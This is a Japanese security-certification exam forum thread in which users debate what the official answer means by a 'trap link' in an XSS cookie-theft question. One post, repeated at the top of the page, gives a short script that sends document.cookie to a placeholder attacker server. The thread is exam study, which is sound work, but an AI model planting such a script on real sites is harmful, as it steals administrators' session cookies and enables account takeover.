HOME»情報処理安全確保支援士掲示板»令和6年春午後3設問1(2)
投稿する
これですが回答公開直後あたりで私が書いた気がします。
正直、罠リンクという表現にピンとこず無理やりな解釈をしてしまいましたが混乱させてしまったようで申し訳ないです。改めて考えると以下だとおもいます。
Cookieを盗みだすには攻撃者サーバへのCookieを含んだリクエスト送信させる必要がある。つまり、攻撃者サーバへの罠リンクを踏ませる必要がある。
XSSでスクリプトが自由に埋め込めるためいろいろな方法がありますが、例えば以下のようなコードを仕掛ければ、管理機能画面へアクセスしただけでスクリプトが動作し管理者に自動で罠リンクを踏ませ、Cookieを攻撃者サーバへ送信させることが可能です。
<script>
(function() {
var xhr = new XMLHttpRequest();
var url = 'http://攻撃者サーバのFQDN?cookie=' + document.cookie;
xhr.open('GET', url, true);
xhr.send();
})();
</script>
このコードを使用して偽サイトへアクセスさせれば攻撃者はアクセスログを確認しCookieを取得できます。
このような攻撃の流れが以下に当てはまるのではないかと思います。
・「このXSSを悪用して」から始まるを問う設問なのに、なぜ回答として「攻撃者がわなリンクを用意し、」の一言で片づけているのか
→ XSSの攻撃手法は図4で既に明示されているからだと思います。なのでこの手法を使用して、具体的に実害はどうでるのかを問われているのだと思います。
他の質問は罠リンクの説明で解決するかと思いますが、いかがでしょうか?
»[1689] セキュアプログラミングの言語の優先度について 投稿数:4
»[1688] H29 春午後2問1設問2について 投稿数:2
令和6年春午後3設問1(2) [1691]
うるさん(No.1)
令和6年春午後3設問1(2)の公式解は「攻撃者がわなリンクを用意し、管理者にそのリンクを踏ませることで管理者権限のcookieを攻撃者のWebサイトに送信させ、その値を読み取って利用することで管理者としてサイトXにアクセスし、利用者情報を取得する」ということです。
この「攻撃者がわなリンクを用意し、管理者にそのリンクを踏ませることで」の解釈について、次に示す私の考えが合っているか、また付随する疑問についてご教示またはご意見ください。
①攻撃者が、図3のリクエスト内にcookie窃取スクリプトを入れて、問合せ管理機能画面を改ざんする
②改ざんされた該当の問合せ管理機能画面のURLを「わなリンク」として、管理者に踏ませる(?)
私はこのように無理矢理考えたのですが、実際に過去のスレッドを拝見すると似たようなお考えの投稿がありました。
ただ、「攻撃者がわなリンクを用意し、」という表現が今一しっくりこなくて、自身の浅学ゆえ何点か疑問も残っています。
・そもそも「わなリンク」を作成する意味は何か(管理者が自らアクセスするのを待つよりも効率的だからか?)
・「このXSSを悪用して」から始まるを問う設問なのに、なぜ回答として「攻撃者がわなリンクを用意し、」の一言で片づけているのか(①のXSS攻撃の過程そのものを省略した意味合い。「利用者情報を取得する手順そのもの」ではなく、その前準備だから?)
・「攻撃者がわなリンクを用意し、」ではなく「攻撃者が改ざんした問合せ管理機能画面のURLを用意し」と具体化されていない意味は何か?(別の方法による攻撃の余地がある?)
・この問いに関連し、ネット上では、私の解釈と異なる見解を見かけたが、実はそちらの方が正しい可能性もあるのか。具体的には、問合せ管理機能を訪問した管理者を偽サイトに誘導し(リダイレクト?)、偽サイト側でサイトXのcookieを窃取するという内容。
確かにこの手口であれば、「攻撃者がわなリンクを用意し、」という書き方もしっくりくるのですが、一方で、異なるサイトから他のサイトのcookieを盗む技術があるのか?という疑問が残ります。そのような技術が存在する場合、私自身の理解が追い付いていないうえ、今後出題される可能性もあるため、どのようなソースに当たったら良いかも含めてご教示頂きたいです。
内容的に、もしかしたら作問者以外答えられないものもあるかもしれませんが、皆様のご意見をお聞かせいただき、または、御教示頂けましたら幸いです。
この「攻撃者がわなリンクを用意し、管理者にそのリンクを踏ませることで」の解釈について、次に示す私の考えが合っているか、また付随する疑問についてご教示またはご意見ください。
①攻撃者が、図3のリクエスト内にcookie窃取スクリプトを入れて、問合せ管理機能画面を改ざんする
②改ざんされた該当の問合せ管理機能画面のURLを「わなリンク」として、管理者に踏ませる(?)
私はこのように無理矢理考えたのですが、実際に過去のスレッドを拝見すると似たようなお考えの投稿がありました。
ただ、「攻撃者がわなリンクを用意し、」という表現が今一しっくりこなくて、自身の浅学ゆえ何点か疑問も残っています。
・そもそも「わなリンク」を作成する意味は何か(管理者が自らアクセスするのを待つよりも効率的だからか?)
・「このXSSを悪用して」から始まるを問う設問なのに、なぜ回答として「攻撃者がわなリンクを用意し、」の一言で片づけているのか(①のXSS攻撃の過程そのものを省略した意味合い。「利用者情報を取得する手順そのもの」ではなく、その前準備だから?)
・「攻撃者がわなリンクを用意し、」ではなく「攻撃者が改ざんした問合せ管理機能画面のURLを用意し」と具体化されていない意味は何か?(別の方法による攻撃の余地がある?)
・この問いに関連し、ネット上では、私の解釈と異なる見解を見かけたが、実はそちらの方が正しい可能性もあるのか。具体的には、問合せ管理機能を訪問した管理者を偽サイトに誘導し(リダイレクト?)、偽サイト側でサイトXのcookieを窃取するという内容。
確かにこの手口であれば、「攻撃者がわなリンクを用意し、」という書き方もしっくりくるのですが、一方で、異なるサイトから他のサイトのcookieを盗む技術があるのか?という疑問が残ります。そのような技術が存在する場合、私自身の理解が追い付いていないうえ、今後出題される可能性もあるため、どのようなソースに当たったら良いかも含めてご教示頂きたいです。
内容的に、もしかしたら作問者以外答えられないものもあるかもしれませんが、皆様のご意見をお聞かせいただき、または、御教示頂けましたら幸いです。
2024.09.03 18:38
うるさん(No.2)
誤記してしまいました。
×午後3
○午後問3
です。大変申し訳ございません。
×午後3
○午後問3
です。大変申し訳ございません。
2024.09.03 18:39
むぐむぐさん(No.3)
> 改ざんされた該当の問合せ管理機能画面のURLを「わなリンク」として、管理者に踏ませる
これですが回答公開直後あたりで私が書いた気がします。
正直、罠リンクという表現にピンとこず無理やりな解釈をしてしまいましたが混乱させてしまったようで申し訳ないです。改めて考えると以下だとおもいます。
Cookieを盗みだすには攻撃者サーバへのCookieを含んだリクエスト送信させる必要がある。つまり、攻撃者サーバへの罠リンクを踏ませる必要がある。
XSSでスクリプトが自由に埋め込めるためいろいろな方法がありますが、例えば以下のようなコードを仕掛ければ、管理機能画面へアクセスしただけでスクリプトが動作し管理者に自動で罠リンクを踏ませ、Cookieを攻撃者サーバへ送信させることが可能です。
<script>
(function() {
var xhr = new XMLHttpRequest();
var url = 'http://攻撃者サーバのFQDN?cookie=' + document.cookie;
xhr.open('GET', url, true);
xhr.send();
})();
</script>
このコードを使用して偽サイトへアクセスさせれば攻撃者はアクセスログを確認しCookieを取得できます。
このような攻撃の流れが以下に当てはまるのではないかと思います。
> 問合せ管理機能を訪問した管理者を偽サイトに誘導し(リダイレクト?)、偽サイト側でサイトXのcookieを窃取するという内容。
・「このXSSを悪用して」から始まるを問う設問なのに、なぜ回答として「攻撃者がわなリンクを用意し、」の一言で片づけているのか
→ XSSの攻撃手法は図4で既に明示されているからだと思います。なのでこの手法を使用して、具体的に実害はどうでるのかを問われているのだと思います。
他の質問は罠リンクの説明で解決するかと思いますが、いかがでしょうか?
2024.09.03 21:10
うるさん(No.4)
むぐむぐ様
ご丁寧にありがとうございます。
なるほど、
①Cookie読み出しスクリプトを、管理機能画面を改竄して設置
②管理者が管理機能画面を開いた時、そこで読み出した管理者のCookieを、クエリストリングに載せて攻撃者のサイトに通信(GETメソッド)させる
③攻撃者はGETメソッドのログからCookieを見られる
という方法でしょうか。(理解合っておりますか)
そこまで思いつきませんでした。
確かにその方法なら私の考えより辻褄が合いそうですね。
少し思ったのが、「管理者にそのリンクを踏ませる」という表現が「xhr.send();」の自動実行と考えて良いかが気にはなってはいます。(他に、上手い実装方法があるのでしょうかね。)
ご丁寧にありがとうございます。
なるほど、
①Cookie読み出しスクリプトを、管理機能画面を改竄して設置
②管理者が管理機能画面を開いた時、そこで読み出した管理者のCookieを、クエリストリングに載せて攻撃者のサイトに通信(GETメソッド)させる
③攻撃者はGETメソッドのログからCookieを見られる
という方法でしょうか。(理解合っておりますか)
そこまで思いつきませんでした。
確かにその方法なら私の考えより辻褄が合いそうですね。
少し思ったのが、「管理者にそのリンクを踏ませる」という表現が「xhr.send();」の自動実行と考えて良いかが気にはなってはいます。(他に、上手い実装方法があるのでしょうかね。)
2024.09.05 13:43
むぐむぐさん(No.5)
その理解で大丈夫です。
出題者の意図する罠リンクが何を指しているのか分かりにくいですよね。
一旦はXSSを利用した実際の悪用までのながれが把握されていれば試験対策としては大丈夫だと思います。
出題者の意図する罠リンクが何を指しているのか分かりにくいですよね。
一旦はXSSを利用した実際の悪用までのながれが把握されていれば試験対策としては大丈夫だと思います。
2024.09.06 08:41
kitikitiさん(No.6)
この投稿は投稿者により削除されました。(2024.09.06 11:43)
2024.09.06 11:43
うるさん(No.7)
むぐむぐ様
ありがとうございます!!
私の疑問を、ベテランの方に多少なり共感頂き安心致しました。
よく考えましたら、xhr.send();を自動実行させず、URLを自動生成するまでに留めて、あとは被害者に踏ませる(こちらの方が効率は悪い)とすれば自分の疑問も一応は解決するかなとも思いました。
ちょっと私は細部に拘泥し過ぎていたようですね。
ここらは恐らく問題の本質ではないのと、
XSSの流れは理解できているので、ここで手打ちにします。
ご丁寧にお付き合い頂きまして、ありがとうございました。
ありがとうございます!!
私の疑問を、ベテランの方に多少なり共感頂き安心致しました。
よく考えましたら、xhr.send();を自動実行させず、URLを自動生成するまでに留めて、あとは被害者に踏ませる(こちらの方が効率は悪い)とすれば自分の疑問も一応は解決するかなとも思いました。
ちょっと私は細部に拘泥し過ぎていたようですね。
ここらは恐らく問題の本質ではないのと、
XSSの流れは理解できているので、ここで手打ちにします。
ご丁寧にお付き合い頂きまして、ありがとうございました。
2024.09.06 11:43
その他のスレッド
»[1690] 2回目受験の今からの勉強方法。 投稿数:7»[1689] セキュアプログラミングの言語の優先度について 投稿数:4
»[1688] H29 春午後2問1設問2について 投稿数:2